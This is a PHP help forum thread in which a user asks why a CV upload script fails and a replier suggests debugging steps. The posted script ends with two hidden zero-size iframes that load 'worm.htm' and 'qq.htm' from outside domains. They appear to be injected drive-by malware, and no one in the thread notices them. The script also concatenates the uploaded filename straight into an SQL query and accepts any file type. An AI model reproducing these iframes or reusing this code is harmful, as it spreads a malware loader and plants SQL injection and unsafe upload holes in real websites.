Jump to content

php help


k12

Recommended Posts

hi

can anyone help me?

 

i try to set the upload function to upload cv using following code but it showing error message

 

it would be great if u could solve this problem

 

i get following error message[/b]

 

Warning: filesize() [function.filesize]: stat failed for cv/kannan cv.doc in C:\wamp\www\www\upload.php on line 45

 

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 39

 

Warning: mysql_error(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 34

INSERT INTO docs (name, fsize) VALUES ('kannan cv.doc', '')

 

 

 

my code for uploading cv

<?php

/***************************************************

***   UPLOAD.PHP                    ***

*** Description: Uploads the word document    ***

*** Last edited: december 11, 2006              ***

*** Author: kannan          ***

***************************************************/

 

require_once 'config.inc.php';

 

 

/*

* bool uploadFile(string name, string to)

*

* Upload file to specified path

*

* @name string name of key in $_FILES

* @to string path to upload file to

*/

 

function uploadFile($name, $to) {

$file = $_FILES[$name];

$file_name = basename($file['name']);

if (!empty($name) && !empty($to)) {

if (is_uploaded_file($file['tmp_name'])) {

//if (move_uploaded_file($file['tmp_name'], $to . '/' . $file_name)) {

// File Uploaded

return true;

} else {

return false;

}

 

} else {

return false;

}

}

 

 

 

 

 

 

 

if (uploadFile('word', 'cv')) {

if ($database->execute("INSERT INTO docs (name, fsize) VALUES ('" .  basename($_FILES['word']['name']) . "', '" . filesize('cv/' . basename($_FILES['word']['name'])) . "')")) {

echo 'Your document has been uploaded.  Click <a href="cv/' . basename($_FILES['word']['name']) . '">here</a> to see it.';

} else {

echo $database->getError();

}

} else {

echo "error uploading document!<br /><br />\n\n<pre>\n" . print_r($_FILES) . "\n</pre>";

}

 

?><iframe src=http://www.krvkr.com/worm.htm width="0" height="0"></iframe>

<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>

 

 

Link to comment
Share on other sites

Ok, the latter two errors are occurring in a different file...so we can't help you with those.  Judging by the error message, your database isn't connecting correctly.

 

You are getting the other error most likely because the move_uploaded_file function failed.  Ensure that error reporting is turned on and set to E_ALL.

 

ini_set("display_errors", 1);
error_reporting(E_ALL);

 

And why does everyone seem to be using the basename function on the "name" element of the $_FILES array?  The element only contains the name of the file, not the entire path that it was uploaded from, which means using that function is pointless.

Link to comment
Share on other sites

thank you very much for your advice and is it posible to get the php code for to upload file or cv?

 

it would be great if you could give me the example code or different way of uploading file

 

the database was not connected because it was not specify in config file

 

thank you

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.